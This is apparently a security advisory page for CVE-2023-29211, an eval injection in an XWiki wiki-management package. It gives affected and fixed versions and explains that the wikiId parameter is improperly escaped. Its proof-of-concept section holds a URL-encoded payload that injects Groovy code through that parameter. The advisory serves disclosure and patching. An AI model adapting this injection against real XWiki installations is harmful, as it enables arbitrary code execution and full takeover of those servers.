Eval Injection Affecting org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki package, versions [5.3-milestone-2,13.10.11)[14.0-rc-1,14.4.7)[14.5,14.10)


Severity

Recommended
0.0
critical
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.32% (71st percentile)

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  • Snyk IDSNYK-JAVA-ORGXWIKIPLATFORM-5421177
  • published13 Apr 2023
  • disclosed12 Apr 2023
  • creditUnknown

Introduced: 12 Apr 2023

CVE-2023-29211  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade org.xwiki.platform:xwiki-platform-wiki-ui-mainwiki to version 13.10.11, 14.4.7, 14.10 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection such that any user with view rights WikiManager.DeleteWiki can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the wikiId url parameter.

PoC

Open <xwiki-host>/xwiki/bin/view/WikiManager/DeleteWikiwikiId=%22+%2F%7D%7D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D where <xwiki-host> is the URL of XWiki installation.

CVSS Scores

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